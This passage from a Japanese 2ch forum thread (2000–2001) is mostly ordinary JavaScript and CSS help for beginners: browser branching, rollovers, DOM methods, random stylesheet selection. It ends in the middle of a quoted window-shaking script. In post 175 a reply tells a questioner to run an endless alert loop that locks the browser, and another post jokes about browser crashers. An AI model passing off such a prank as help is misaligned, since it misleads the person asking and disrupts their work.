147 名前:名無しさん@1周年 投稿日:2000/12/17(日) 14:25
フレームを開く場所を指定することって出来ますか?

148 名前:Name_Not_Found 投稿日:2000/12/17(日) 15:08
>>147
どういう風に?
質問が曖昧すぎるよー。

149 名前:Name_Not_Found 投稿日:2000/12/19(火) 16:57
http://NihongoURL.nu/ラルクアンシエル/
の、メニューがJAVAで選択式のものになってたんですが、
すっきりしていて僕も使いたいのですが、
こういうのは、使ってもいいのでしょうか。
というのは、たまに動作しないというか、
選択しても表示されないことがあるんで、(重い?)
ふつうにJAVA無しで書いたほうがいいのかなぁと…

150 名前:Name_Not_Found 投稿日:2000/12/19(火) 16:58
それは本当にJavaなのか?

151 名前:Name_Not_Found 投稿日:2000/12/19(火) 17:00
うえのURL
http://www.LArc-en-Ciel.my.mw/
でみれました。日本語はURLとして認識されて無い?

152 名前:Name_Not_Found 投稿日:2000/12/19(火) 17:14
>>149
>>1にも書かれているがJavaScriptはJavaScriptであってJAVAではない。
JAVAというプログラム言語が別にあります。話しが通じなくなるので
勝手に略さないように。

そしてここのソースそのまま使っとき。
http://www2f.biglobe.ne.jp/~takan/javac/n2/quick_navi2.htm

153 名前:プログラム技術板から来ました 投稿日:2000/12/21(木) 12:38
どうぞ、よろしく。
あっちスレは、
http://piza.2ch.net/test/read.cgi?bbs=tech&key=977307048
です。

内容は、
>マウスが乗ると、画像を変えるってゆー奴を作りました。
>IE5.xで大丈夫で、NN4.7でエラーが起きてます。
>エラー名は、
>"document.images.XXX has no properties"

ソースは、
http://members.tripod.co.jp/labyrinth_x/tst/pre.html
にアプしましたです。

>どこから調べてみればいいか、検討がつきません。
>サーチエンジンに入れても、関係ないのばかりヒットしちゃって
>頭が痛くなってしまいます。助けてください・・・。
>もしくは、ヒントをください・・・。


154 名前:>153 投稿日:2000/12/21(木) 22:47
“マウスの乗せてぇ”ってなんですか?(プ


155 名前:Name_Not_Found 投稿日:2000/12/22(金) 02:19
JavaScriptでBBSを作れるんでしょうか?
作れたとして、セキュリティに問題は無いんでしょうか?

156 名前:Name_Not_Found 投稿日:2000/12/22(金) 02:40
JavaScriptじゃファイルの入出力はできないんじゃなかったっけ。
CGIと組み合わせないと無理だと思うけど。


157 名前:Name_Not_Found 投稿日:2000/12/22(金) 03:02
>155
サーバサイドでならjsでもvbsでもperlでもpythonでも出来るよ、
ファイル入出力はwsh使えばいいだけだし。

158 名前:155 投稿日:2000/12/22(金) 03:19
やっぱクライアントサイドじゃ無理か。。

159 名前:153 投稿日:2000/12/22(金) 16:24
ネスケでも、似たように映るようにした・・・(かっこうわるぅ)
http://members.tripod.co.jp/labyrinth_x/tst/pre2.html


160 名前:Name_Not_Found 投稿日:2000/12/23(土) 08:18
ネスケって本当に鼻クーソだな>153

161 名前:Name_Not_Found 投稿日:2000/12/23(土) 23:30
Flashのプラグインが入っているかどうかの判定って
どうやるんですか。

162 名前:>>161 投稿日:2000/12/24(日) 00:48
http://www04.u-page.so-net.ne.jp/ca2/jakoneko/pillow/pillow.html
参考までに

163 名前:名無しさん@1周年 投稿日:2000/12/24(日) 01:02
“抱き枕 -Dream Pillow- ”のコマーシャルページですよ・・・>162

パブリッシュの時、生成されるHTMLに入ってなかったっけ?>161

164 名前:161 投稿日:2000/12/24(日) 01:04
>>162
すみません。見たのですが何処を参考にしたら良いのでしょうか…

165 名前:Name_Not_Found 投稿日:2000/12/24(日) 01:05
>>153
document.images["here"]

document.layers["wld"].images["here"]

だろうな。(ブラウザ分岐を忘れないでくれ)

166 名前:Name_Not_Found 投稿日:2000/12/24(日) 01:09
JavaScriptのことをJavaと略すくらいならJSと略したほうがマシだ


167 名前:Name_Not_Found 投稿日:2000/12/24(日) 01:41
JavaScriptとJavaは違うよ。

168 名前:153 投稿日:2000/12/24(日) 03:43
>>165

ありがとー、できたよー、うれしいよー。
http://members.tripod.co.jp/labyrinth_x/tst/pre3.html

でもなんか混んでてアプできんなー・・・
鬱だ寝よう・・。

169 名前:153 投稿日:2000/12/24(日) 04:33
こっちにアプしたった・・
http://labyrinth_x.tripod.com/tst/pre3.html


170 名前:名無しサンタ 投稿日:2000/12/24(日) 06:55
>169
画像はプレロードしてキャッシュしておいた方がいいよ。
マウスを乗っけた直後に画像が変わるから。

171 名前:Name_Not_Found 投稿日:2000/12/25(月) 01:37
JavaScriptのことをJavaと略すくらいならJSと略したほうがマシだ


172 名前:Name_Not_Found 投稿日:2000/12/25(月) 06:37
クロスブラウザに良く使う判別の
if(document.all)
この条件式は何の略なんですか?
ただオブジェクト書くだけで演算子は?
省略しているのはわかるんですが・・・教えてください


173 名前:Name_Not_Found 投稿日:2000/12/25(月) 13:03
>172
何も略してないよ。

var hoge = true;

if(hoge){
alert("hage");
}else{
alert("sage");
}

と同じ。
あえて言うなら、「==true」を省略しているとでもなるかな。

174 名前:Name_Not_Found 投稿日:2000/12/25(月) 14:03
>>172
if文は、条件が「真」なら、以下の構文を実行する、という意味なのです。
だから「document.all」が真なら実行されるし、偽なら実行されない。

175 名前:Name_Not_Found 投稿日:2000/12/25(月) 14:18
>>172
こういう文を実行してみてください。

while(true){alert("逝ってよし")}

176 名前:廃墟の名無しさん 投稿日:2000/12/25(月) 22:03
↓IEではちゃんと動くんですが、ネスケだと動きません。
どうすればよいのでしょうか?

<form>
<select name=selct>
<option value=1>1</option>
<option value=2>2</option>
<option value=3>3</option>
</select>
<input type="button" value ="ボタン" onClick="document.write(this.form.selct.value)">
</form>


177 名前:Name_Not_Found 投稿日:2000/12/25(月) 22:21
>176
this.form.select.options[this.form.select.selectedIndex].value

178 名前:177 投稿日:2000/12/25(月) 22:23
select > selct

179 名前:176 投稿日:2000/12/25(月) 22:52
>>177-178
できました!ありがとうございます。

180 名前:Name_Not_Found 投稿日:2000/12/26(火) 21:44
location.href="xxx"と
<body onLoad="setTimeout(xxx@`xxx)>
で自動的に別ページにとばしたいんですけど,
このときに「_top」みたいなターゲットの指定をする方法ってないでしょうか

181 名前:Name_Not_Found 投稿日:2000/12/26(火) 21:48
>>180
<base target="_top">

182 名前:180 投稿日:2000/12/26(火) 21:54
ありがとございます。
んと,ふつーだとこれでできるんですかね。
いちおうそれもためしてるんですけど,うまくいかないのです。
フローティングフレームの中から_topにとばしたいんですけど。
なにかほかに方法ないでしょうかね。

183 名前:Name_Not_Found 投稿日:2000/12/27(水) 04:29
top.location.href="xxx"

184 名前:困ったさん 投稿日:2000/12/27(水) 11:04
はじめまして。
ネットスケープ専用のタグに <layer> というのがあり、
これを利用するとゲームのスプライトの様にイメージを重ねたりできるのですが、
これをIEで実現させる方法がわかりません。
おそらく<OBJECT>タグではないかと思うのですが、
以下のサンプルコード(構造がわかる部位のみ選出しています)と
等価になるようなコードを御伝授いただけないでしょうか。

よろしくお願いいたします。


<SCRIPT LANGUAGE = "JavaScript">
function rover(){
document.layers["Layer"].src = "over.gif";
}
function rout(){
document.layers["Layer"].src = "out.gif";
}
</SCRIPT>

<layer name="Layer" >
<img src="null.gif" >
</layer>

<A HREF="test.html" onMouseOver="rover()" onMouseOut="rout()" >TEST</A>

185 名前:Name_Not_Found 投稿日:2000/12/27(水) 11:11
むしろ、layer使わん方がいいよ。Netscap6で消えたし。
NN4捨ててIE4&Netscape6(Mozilla)以降に絞ればスタイルシートとDOMで実現できる。
ここらへんとかで調べるよろし↓

http://east.portland.ne.jp/~sigekazu/

186 名前:Name_Not_Found 投稿日:2000/12/27(水) 11:13
Netscap6って何だよ。
鬱だ氏のう…

187 名前:Name_Not_Found 投稿日:2000/12/27(水) 11:16
NetsCapなら、ありそうな、なさそうな…

188 名前:Name_Not_Found 投稿日:2000/12/27(水) 11:26

ドコモから発表されたiモード対応JAVAって何?
JavaScriptとは違うの?

http://www.nttdocomo.co.jp/mc-user/i/java/index.html

189 名前:Name_Not_Found 投稿日:2000/12/27(水) 12:17
あっちはJAVA。こっちはjavaScript。まったくの別モノ。1が書いてるでしょ。

190 名前:180 投稿日:2000/12/27(水) 19:01
>183
できてしまいました。
ありがとーございました。

191 名前:Name_Not_Found 投稿日:2000/12/27(水) 23:25
>184
レイヤータグはNN4専用なので、DIVタグを使いましょう。
スタイルシートでポジショニングを行うと、クロスブラウザなレイヤーになるっす。

192 名前:184 投稿日:2000/12/28(木) 13:22
1日検索エンジンと格闘してスタイルシートでやれっていう意味がわかりました。
もう、HTMLタグをちまちま打つ時代は過ぎ去っていたんですねぇ・・・。
いや、勉強になりました。
185さん、191さんどうもありがとうございます。

今のHTMLは基底となる層であって、JSやCSSなんかを重ねて全体を構成する(したほうが理想)時代なんですね。

しかし、こうも枝葉になるなら、記述言語の統括をすればいいのにと思いますが、時代の趨勢はどうなっているのでしょうか?

DHTMLやXMLなどはどういう絡みになるのでしょう?

C等のプログラムばかりしていてHTMLは見る側になって久しいのではなはだ不勉強なのですが、
参考になるスレか、リンクをお教えいただければ幸いです。


193 名前:Name_Not_Found 投稿日:2000/12/28(木) 13:37
>>192
>今のHTMLは基底となる層であって、JSやCSSなんかを重ねて全体を構成する(したほうが理想)時代なんですね。
意味不明。W3C行って仕様読め。

194 名前:Name_Not_Found 投稿日:2000/12/28(木) 13:42
>>192
そのためのDOM、かな。


195 名前:Name_Not_Found 投稿日:2000/12/28(木) 14:12
HTMLのタグとその内容ひとつひとつをオブジェクトとしてCSSで表示の設定、JavaScriptで制御するという形が現在のDHTMLでありDOMである

196 名前:Name_Not_Found 投稿日:2000/12/28(木) 17:07
テキストの、戻る という文字をクリックしたときに、
ブラウザの戻るをクリックした時のような動作をさせたいです。
どなたか、お願いいたします。

197 名前:Name_Not_Found 投稿日:2000/12/28(木) 17:09
>>196追伸
ブラウザの戻ると同じ機能の、
history.back()
の使い方を教えて下さい。

テキストの、戻る という文字をクリックしたときに、
ブラウザの戻るをクリックした時のような動作をさせたいです。
どなたか、お願いいたします。

198 名前:Name_Not_Found 投稿日:2000/12/28(木) 17:14
<a href="javascript:history.go(-1);">帰れ</a>

199 名前:197 投稿日:2000/12/28(木) 17:25
>>198
すごい!!できました!
どうもありがとうございます!!

200 名前:197 投稿日:2000/12/28(木) 17:33
>>198
余談なんですけど、history.go(+1)だと、
先に進むリンクが出来るのですか??

history.go(-1)っていうのは、つまり、
history.backと、同じなんですよね??

気が向いたらでいいので、レスください。

201 名前:Name_Not_Found 投稿日:2000/12/28(木) 18:01
JavaScriptを使うメリットってなんですか?

202 名前:197 投稿日:2000/12/28(木) 18:05
history.go(1)
ですね!どうも(*^。^*)

>>201
メリットといわれると、、分かりませんが、
htmlと比べると、便利で、機能も豊富で、
Javaと比べると、コンパイルしなくてもいいので、
お手軽なのでは??(^。^;)
すみません、、良く知りません。。

203 名前:名無しさん@1周年kanda.arc.net.my 投稿日:2000/12/28(木) 21:07
自動投稿スプリクトのソース教えてください

204 名前:184 投稿日:2000/12/28(木) 23:24
193さん、馬鹿な質問してすみませんでした。

194、195さん、どうもありがとうございました。
よくわかりました。

205 名前:Name_Not_Found 投稿日:2000/12/29(金) 14:44
>>201
メリットないみたいね...

206 名前:185 投稿日:2000/12/31(日) 05:21
>>192
基底の層という意図はよくわかりませんが、
DHTMLを実現するための手順としては以下のようになるかと。

1:プレーンテキストで文書を作成。

2:文書の個々の内容をその位置付け(論理構造)に応じてHTMLでマークアップ。
  HTMLだけでは不足であればXHTMLに切り替え、XMLでタグを用意。

3:各々のマークアップに適切なスタイルシートを作成。

4:個々の要素に必要に応じてIDを付与し、JavaScriptでDOMを操作。

1〜3は普通にHTML打つ時にも当てはまると思いますが。

207 名前:廃墟の名無しさん 投稿日:2000/12/31(日) 17:11
IEでページをリロードしようとすると↓のメッセージがでるんですが、
「ページは、情報を再送信しなければ、更新出来ません。
[再試行]をクリックして情報を送信するか、
または[キャンセル]をクリックして表示しようとしていた
ページに戻ってください。」
これってエラーがあるってことでしょか?ネスケだとでないんですが。
IEでこの表示をださないでリロードする方法はあるんでしょうか?

208 名前:Name_Not_Found 投稿日:2000/12/31(日) 17:23
>>207
JavaScript の質問じゃあないなあ。

そのメッセージは掲示板とかに書き込んだ直後のページを読み込もうとすると
出るやつだな。つまりは「書き込み情報を含んだURLをもう一度送信するか?」
と聞いているわけで、OKすると二重投稿になるな。

回避するには、そのページをブックマークしているならブックマークから飛ぶ。
ブックマークしていないなら「〜/hoge.cgi」までのURLをコピペしておいて
別窓のアドレス欄に貼り付けるとかだな。

リロードすると二重投稿になってしまう掲示板には「リロード」というリンクが
どこかに配置してあるはずなので、それをクリックするのも方法のひとつだな。
この掲示板にもある。

209 名前:208 投稿日:2000/12/31(日) 17:26
>>207 最後の行、「この掲示板にもある」は削除。
この掲示板「リロード」は単なるリロードだな。

210 名前:207 投稿日:2000/12/31(日) 19:54
>>208-209
なるほど。よくわかりました。
ありがとうございます。

211 名前:Name_Not_Found 投稿日:2001/01/02(火) 02:25
マウスをのせると画像がかわると同じに他の場所の画像も変わる技ってできますか???
onmaouseを二つ書くことになると思うんですが、二つかいても出来ません。

分かりやすく言うとロールオーバーイメージと
http://www.kw-site.com/factory/onmouse/01.html
の技を同じにやりたいんですけど、出来るでしょうか???

212 名前:Name_Not_Found 投稿日:2001/01/02(火) 07:16
onMouseover="hoge()"
onMouseover="mona()"

を同時に実行したいなら、

onMouseover="hoge();mona()"

213 名前:nanasi 投稿日:2001/01/02(火) 13:00
アクセスしてきた人のIPなどを表示させるJAVASCRIPTはありますか?


214 名前:Name_Not_Found 投稿日:2001/01/02(火) 13:10
それってアクセス解析したいってこと?
JavaScriptじゃムリだよ。
そもそもアクセス者自身のホスト名からして扱えないだろうし。

215 名前:211 投稿日:2001/01/03(水) 10:52
>212さん
ありがとうございました!

216 名前:nanasi 投稿日:2001/01/03(水) 18:39
>214さん
ありがとうございました!!

217 名前:Name_Not_Found 投稿日:2001/01/03(水) 22:17
JavaScriptはクライアントサイドで動くものだから、
サーバサイドの処理に関わることはできない。
たとえばサーバに対するアクセスに関することや、
HTTPレスポンスヘッダの発行みたいな処理、
動的なファイルの書き換えなんかは全くの対象外。

ActiveServerPages+JScriptは位置付け的に完全な例外。
…誰も知らんわな。スマソ、逝ってきます。

218 名前:Name_Not_Found 投稿日:2001/01/04(木) 00:40
JavaScript = クライアントサイドJavaScript + サーバサイドJavaScript

219 名前:Name_Not_Found 投稿日:2001/01/04(木) 01:03
しまった、無知のさらけ出し……鬱だ氏のう。

220 名前:Name_Not_Found 投稿日:2001/01/04(木) 16:57
デフォな状態でwindow.onloadをtypeofにカマしたら
IE5.5だとObject、Netscape6じゃundefinedが返ってきた。
どっちが実装として正しいんだろう。詳しい人教えてくれ〜。

221 名前:Name_Not_Found 投稿日:2001/01/04(木) 18:07
ttp://ww1.enjoy.ne.jp/~hiraiwa/thermoplastic/br0.html

ここの、タイプライタみたいに表示しているメッセージは無限に表示されるみたいですが、
"友達殺したことある?"で動作を終わらせる場合、
どこをどう書き換えたらよいのでしょうか?

<SCRIPT language=Javascript1.2>
&lt;!-- Hiding
var msg=new Array();
msg[0]="Do You Know BATTLE ROYALE ???"
msg[1]="ねえ、"
msg[2]="ねえ、ともだち "
msg[3]="友達 殺したこと ある? ";
var pos=0;
var direction=1;
var text=msg[0];
var delay=2; // 動くスピード
var nextm=0;
function ticker() {
var out='&nbsp;'+text.substring(0@` pos)+'&nbsp;_';
if (document.layers) { //Netscape
document.ticker.document.open();
document.ticker.document.write(out);
document.ticker.document.close();
} //IExplorer
else document.all.ticker.innerHTML=out;
pos+=direction;
if (pos>text.length) // go back
{setTimeout('ticker()'@` delay*10);
direction=-direction;} //change direction
else {
if (pos<0) { // new message
if(++nextm>=msg.length) nextm=0;
text=msg[nextm];
direction=-direction; //change direction
}
setTimeout('ticker()'@` delay);
}
}
//--&gt;
</SCRIPT>

222 名前:Name_Not_Found 投稿日:2001/01/04(木) 18:57
>>221
ムダな、JavaScriptは使うな
ヘタすると、「ダサいホームページ作成マニュアル」に
リンクされるぞ!!

注意

223 名前:Name_Not_Found 投稿日:2001/01/05(金) 12:59
DWスレで質問してましたが、こっちのスレに移動しろいわれまして
改めて質問します。

トップページがNN6で動かない為(IE5.XとNN4.XはOKです)
DWビヘイビアの特定のブラウザで移動。を使い、NN6以上でのみURL移動すると作成、
以下のスクリプトを形成しましたがNN6でビューしてもぴくりとも動きません。
<script language="javascript" >
&lt;!--
function MM_checkBrowser(NSvers@`NSpass@`NSnoPass@`IEvers@`IEpass@`IEnoPass@`OBpass@`URL@`altURL) { //v2.0
var newURL = ''@` version = parseFloat(navigator.appVersion);
if (navigator.appName.indexOf('Netscape') != -1) {
if (version >= NSvers) {if (NSpass>0) newURL = (NSpass==1)?URL:altURL;}
else {if (NSnoPass>0) newURL = (NSnoPass==1)?URL:altURL;}
} else if (navigator.appName.indexOf('Microsoft') != -1) {
if (version >= IEvers) {if (IEpass>0) newURL = (IEpass==1)?URL:altURL;}
else {if (IEnoPass>0) newURL = (IEnoPass==1)?URL:altURL;}
} else if (OBpass>0) newURL = (OBpass==1)?URL:altURL;
if (newURL) {
window.location = unescape(newURL);
document.MM_returnValue = false;
}
}
//--&gt;
</script>
<body onLoad="MM_checkBrowser(6.0@`2@`0@`4.0@`0@`0@`0@`''@`'hoge.html');return document.MM_returnValue">
</body>
どこが間違えているのでしょうか?


224 名前:Name_Not_Found 投稿日:2001/01/05(金) 13:53
http://internet.impress.co.jp/tipsbook/087.html
ダブルクリックでmenuが表示するという
ここのスクリプトをパクって使用してるんですが、
ウインドゥを小さくして下スクロールしてダブルクリックすると
座標の関係かなんなのかわからないんですが、意図した場所には
表示されないんです。
縦長いページでの使用は無理でしょうか?
ちなみに

var flag = true;
function Menu() {
if(flag) {
NaviMenu.style.posLeft = event.clientX;
NaviMenu.style.posTop = event.clientY;
NaviMenu.style.visibility = "visible";
flag = false;
}
else {
NaviMenu.style.visibility = "hidden";
flag = true;
}
}
document.ondblclick = Menu;

というスクリプトです。

225 名前:Name_Not_Found 投稿日:2001/01/05(金) 13:55
>>223
Netscape6が navigator.appVersion で返す値は 5.0 です。
6.0 のとこ 5.0 にしたら動くよ。

226 名前:Name_Not_Found 投稿日:2001/01/05(金) 13:58
>>223
PR2しか持ってないけど、appVersionは5.0を返すみたい。

227 名前:226 投稿日:2001/01/05(金) 14:02
かぶった。鬱だ。

>>224
clientX、clientYだから、ずれて表示される。

NaviMenu.style.posLeft = event.offsetX;
NaviMenu.style.posTop = event.offsetY;

で、どうですか?

228 名前:224 投稿日:2001/01/05(金) 14:11
>>227
MacIE(5.0)だと駄目っぽいけどwinでバッチリ表示できました。
マジありがとう!!

229 名前:Name_Not_Found 投稿日:2001/01/05(金) 14:36
>225&226さん
直りました!ありがとうございます!

230 名前:Name_Not_Found 投稿日:2001/01/06(土) 00:18
板違いなのは承知で聞きます。CSS板荒れてるんで返事か来るかどうかわかんないんで・・・
さて本題。外部CSSのファイル名に_(アンダーバー)使って、MACで参照させようとすると
凍る(正確にはメチャメチャ時間かけて読んでる)のでほとほと困ってます。
ソースは
<HTML>
<HEAD>
<META http-equiv="Content-Style-Type" content="text/css">
<TITLE></TITLE>
<LINK type="text/css" rel="stylesheet" href="f_style.css">
 ・
 ・
 ・

ってな感じです。
このファイル名で数百ページのhtmファイルから参照させてるんで
どうにか回避手段をお願いいたします・・・

ちなみにf_style.cssの中身は
----------------------------

@import url(f_style.css);
td{font-size : 12px;}
font{font-size : 12px;}
body{font-size : 12px;}
div{font-size : 12px;}
.subtitle{font-size:16px;}
.eng:hover{color:#ff0000;}
.lk:hover{color:#6699cc;}
.comment {POSITION:absolute;VISIBILITY:hidden;Z-INDEX:200;}

.footer{font-size:8px;}
.topleft1{font-size:16px;}
.topleft2{font-size:12px;}
.new{font-size:11px;}

.function{font-size:10px;}
.prodtitle{font-size:14px;}
.example{font-size:10px;}

.menken{font-size:14px;}
.qa{font-size:16px;}
.desc{font-size:10px;}

.eco{font-size:14px;}
.small{font-size:10px;}
.lonworks{font-size:18px;}
.sslogo{font-size:18px;}
.lk_desc:hover{color:#33cc99;}

-------------------------------
こんな感じです。




231 名前:Name_Not_Found 投稿日:2001/01/06(土) 02:10
>@import url(f_style.css);
自己参照で無限ループしとるやん。

232 名前:Name_Not_Found 投稿日:2001/01/06(土) 10:06
>>231 新しいブラクラ手法だね

233 名前:Name_Not_Found 投稿日:2001/01/06(土) 14:00
おお、そう言われるとなかなか画期的な…(藁

234 名前:Name_Not_Found 投稿日:2001/01/07(日) 00:23
>>230
>.lk_desc:hover{color:#33cc99;}
アンダースコアは\付けてエスケープしないと使えないぞー。
ハイフンに置き換えた方がいいと思うぞー。

235 名前:230 投稿日:2001/01/07(日) 00:45
CSSスレでも同じコト言われてきたわ〜。
やっぱ@import url(f_style.css);が問題みたいね。
(でもこの1行ってHPビルダーV6でインポート指定したら勝手に入り込んだ
やつなんだけど・・・くそぉ、やっぱビルダーを信用するんじゃなかった)

あと、セレクタのアンダーバーは今のところ使ってるトコが少ないんで
今のうちに直しておきます。

週明けに問題んトコ直すんで、そしたらまた結果報告しますね

236 名前:Name_Not_Found 投稿日:2001/01/07(日) 01:37
そのインポート指定ってのはおそらく、
本来ならHTMLのstyleタグ内でやるもんなんだろうね。

237 名前:ぼあーん 投稿日:2001/01/07(日) 17:26
>>221

238 名前:名無しさん@1周年 投稿日:2001/01/08(月) 00:51
>230
gresregでcssのファイル名置換

239 名前:Name_Not_Found 投稿日:2001/01/10(水) 15:50
DocumentObjectModelをちゃんと解説してる
JavaScriptのリファレンスってなんかいいのない?

微妙にスレ違いかもしれないけどJavaScript関連ってことで。

240 名前:230 投稿日:2001/01/10(水) 21:09
いや〜直った直った!一時はどうなることかと思った。
解消方法を教えてくれた方々に感謝いたします!!ところで・・・
>>234
どーもハイフンはMacだと認識しないみたいです。

全機種・全ブラウザで共通で使える特殊記号があればいんだけど・・・


241 名前:l-_-l 投稿日:2001/01/11(木) 00:07
ランダムスクリプトに関しての質問です。
以下のスクリプト(どっかで拾ったもの)を使ってます。

(外部ファイル)
var kazuAc9=2;
var htmlAc9=new Array();
htmlAc9[0]='<link rel="stylesheet" href="http://www.skipup.com/~l-_-l/style/l-_-l.css" type="text/css" charset="shift_jis" media="all" />';
htmlAc9[1]='<link rel="stylesheet" href="http://www.skipup.com/~l-_-l/style/lo_ol.css" type="text/css" charset="shift_jis" media="all" />';

function writeHTMLAc9() {
var num=Math.floor(Math.random()*(kazuAc9+1));
document.write(htmlAc9[num]);
}


(HTML内)
<script type="text/javascript">
writeHTMLAc9();
</script>

元は確かランダム画像だったんですが、ランダムCSSとして使ってます。

んで、何度かに一回かならず

undefined

というエラー(?)がでます。その際、スタイルは反映されません。
エラー回避方法を探しています。
(画像を使った場合も同じでした。)どうかお願いします。

242 名前:Name_Not_Found 投稿日:2001/01/11(木) 02:02
>>241
var num=Math.floor(Math.random()*(kazuAc9+1));
の+1を消せばええんちゃうの?

243 名前:l-_-l 投稿日:2001/01/11(木) 06:27
>>242
ありがとう!直ったみたいです。激烈感謝〜
(それにしても何で+1なんて入ってたんだろう…)

244 名前:Name_Not_Found 投稿日:2001/01/11(木) 08:48
むしろ、
var num=Math.floor(Math.random()*(kazuAc9+1));

var num=Math.floor(Math.random()*(htmlAc9.length));
にした方がいいんでないかなと思ったり。

245 名前:Name_Not_Found 投稿日:2001/01/11(木) 13:56
Math.random()
は1が含まれると思うよ。


246 名前:Name_Not_Found 投稿日:2001/01/11(木) 14:21
>>245
0.0以上1未満では?

247 名前:245 投稿日:2001/01/11(木) 16:02
スマソ勘違い。


248 名前:Name_Not_Found 投稿日:2001/01/11(木) 16:27
初歩的な質問かもしれませんが、ご了承ください。
HTMLなどを記述するときには、自分ですきなように改行しても
影響はないですが、javaの場合はかってに行を改行したらだめなんですか?

249 名前:Name_Not_Found 投稿日:2001/01/11(木) 18:15
>>248
板違いなので、プログラム技術版でも逝ってください。

250 名前:Name_Not_Found 投稿日:2001/01/11(木) 18:43
>>248
JavaScriptをjavaと略すとJAVAと勘違いして>>249のようなツッコミが
はいるので(たぶんわざとだろうけど)気をつけよう。

文の途中で改行いれたらエラーを引き起こすこともあるかもしれないから
;、{、}のあとにだけ改行したほうがよいと思う。

251 名前:249 投稿日:2001/01/11(木) 18:54
>>250
つーか、勝手に略す方が悪いんだけどな。
>>1にも、しっかり書いてあるし。

252 名前:250 投稿日:2001/01/11(木) 19:13
>>249
すまん、すまん。
まぁjavaと略すほうも悪いがJavaScriptと名付けたほうも悪い気もする。
i-modeでJAVAが使えるようになるって話をJavaScriptが使えるように
なるって勘違いする人もいるし…。
というわけでJavaScriptと名づけたNetscapeとSUNは逝ってよし!

253 名前:249 投稿日:2001/01/11(木) 19:36
>>252
ああ、確かにそれは圧倒的に悪い。激しく同意。
というわけで、NetscapeとSUNは逝ってよし。

254 名前:249 投稿日:2001/01/11(木) 19:38
落ち着いて>>1を見たら「煽らないで」とか書いてあるな。
皮肉はセーフですか?(とか、いってみる)
とりあえず、俺逝ってよし。

255 名前:Name_Not_Found 投稿日:2001/01/11(木) 19:56
じゃあこの板でだけLiveScriptとよぼうぜ。

256 名前:l-_-l 投稿日:2001/01/11(木) 20:16
>>244
そのようにしてみました。心なしか安定感があるような気がしますが
気のせいでしょうね。ありがとうございました。


257 名前:244 投稿日:2001/01/11(木) 23:39
>>256
安定感と言うか、htmlAc9の要素を増やしても
kazuAc9の値をいちいち修正せずに済むようになります。
というかkazuAc9自体が要らなくなるのか。

258 名前:Name_Not_Found 投稿日:2001/01/11(木) 23:41
JSと略すのはどうか。<JavaScript

259 名前:Name_Not_Found 投稿日:2001/01/11(木) 23:50
外人は、JSって言ってるね。

260 名前:名無しちん、ぴんち 投稿日:2001/01/12(金) 06:43
ECMAスクリプトとか。

261 名前:Name_Not_Found 投稿日:2001/01/12(金) 11:47
ECMA-ScriptとJavaScriptは全く同じものではないんだが。
上位・下位互換というわけでもない。

262 名前:Name_Not_Found 投稿日:2001/01/12(金) 13:39
innerHTMLを使いたくない場合、どうすれば良いですか?


263 名前:Name_Not_Found 投稿日:2001/01/12(金) 14:28
>262
何で使いたくないの?

264 名前:Name_Not_Found 投稿日:2001/01/12(金) 14:38
>>262
IE5以降とNetscape6(Mozilla)以降ならW3C-DOMを実装しているので、
createElement、createTextNode、appendChildメソッドで代用可。
ただ、innerHTMLも同様に実装されているし、
使う分にはinnerHTMLの方が簡単なので、
よほど凝った意図がないならどうかな、と思う。
それでも知りたいのであれば言っておくれ。使い方書くから。

265 名前:262 投稿日:2001/01/12(金) 14:56
ttp://jt.mozilla.gr.jp/docs/web-developer/upgrade_2.html

ここ見て、簡単ならやってみようかと思ったんです。
でも面倒くさいなら良いです。


266 名前:JSマニア 投稿日:2001/01/12(金) 15:32
>>262
個人的にこんな関数を使っている。
これ使えばあんまり面倒でなくなるかも。

function AddNode(ParentId@` ElementType@` AddId@` AddClass@` AddText){
var ParentNode@` ElementNode@` TextNode;

if(document.getElementById && document.createElement){
ParentNode = document.getElementById(ParentId);
ElementNode = document.createElement(ElementType);
if(AddClass){
ElementNode.className = AddClass;
}
if(AddText){
TextNode = document.createTextNode(AddText);
ElementNode.appendChild(TextNode);
}
ParentNode.appendChild(ElementNode);
if(AddId){
ParentNode.childNodes.item(ParentNode.childNodes.length - 1).id = AddId;
}
}
}

解説続く

267 名前:JSマニア 投稿日:2001/01/12(金) 15:50
>>266の続き

内容

  特定のIDが設定された要素に子要素を追加する。
W3C-DOMが実装されていないブラウザでは何も行わない。


引数

  ParentId:
   子を追加する要素のid。必須。

  ElementType:
   子要素の属性をタグ名で指定。必須。
   例えば、子にa要素を追加するのあれば引数の値を"a"と設定。

  AddId:
   子に追加する要素に与えるidを指定。nullを指定すればidは設定されない。
   以降の引数を指定しないのであれば省略可能。

  AddClass:
   子に追加する要素に与えるclassを指定。nullを指定すればclassは設定されない。
   以降の引数を指定しないのであれば省略可能。

  AddText:
   子に追加する要素の中のテキストを設定。省略可能。
   空要素・置き換え要素を追加する場合は設定禁止。

こんな感じ。

268 名前:JSマニア 投稿日:2001/01/12(金) 15:53
省略になってしもたスマソ。全文出てるけど。

269 名前:Name_Not_Found 投稿日:2001/01/12(金) 17:07
新しいウインドウを開いて@` そのウインドウの内容を印刷した後@`
そのウインドウを自動で閉じたいんだけど.

<body onload="print();window.close()" onafterprint="window.close()">

onafterprintイベント使わずにどうにか実現する方法無いかな?

Netscape 4.73が標準ブラウザの***の社内システム萎えヽ(´Д`)ノ

270 名前:Name_Not_Found 投稿日:2001/01/12(金) 17:16
<body onload="print(); setTimeout('window.close();'@` 1);">
とか。

…なんかうまくいかなさそうな気がする(当方IE環境にて動作未確認)

271 名前:269 投稿日:2001/01/12(金) 17:55
setTimeoutは印刷のダイヤログが開いてる最中に
時間が過ぎると無効になってしまうのよね.

272 名前:270 投稿日:2001/01/12(金) 18:13
やっぱり(;´Д`)
ちょっといい手はなさそう…
そういや、なんでonafterprintを避けたいので?

273 名前:質問 投稿日:2001/01/13(土) 23:44
ブラウザのウィンドウ揺らすスクリプトの正しい記述方法教えて。
そういうスクリプトの解説載ってるサイトも教えて下さい。
以下は使われてたサイトからソース抜いた奴だけど、これでいいのか?

<SCRIPT>
&lt;!--
bName = navigator.appName;
bVer = parseInt(navigator.appVersion);
if (bName == "Netscape" && bVer == 3) ver = "n3";
else if (bName == "Netscape" && bVer == 2) ver = "n2";
else if (bName == "Netscape" && bVer >= 4) ver = "n4";
else if (bName == "Microsoft Internet Explorer" && bVer == 2) ver = "e3";
else if (bName == "Microsoft Internet Explorer" && bVer > 2) ver = "e4";

if (navigator.appVersion.indexOf("Mac") != -1) ver+="m";
function earthquake() {
if (ver == "n4" || ver == "n4m" || ver == "e4" || ver == "e4m") {
for (i = 8; i > 0; i--) {
for (z = 6; z > 0; z--) {
self.moveBy(0@`i);
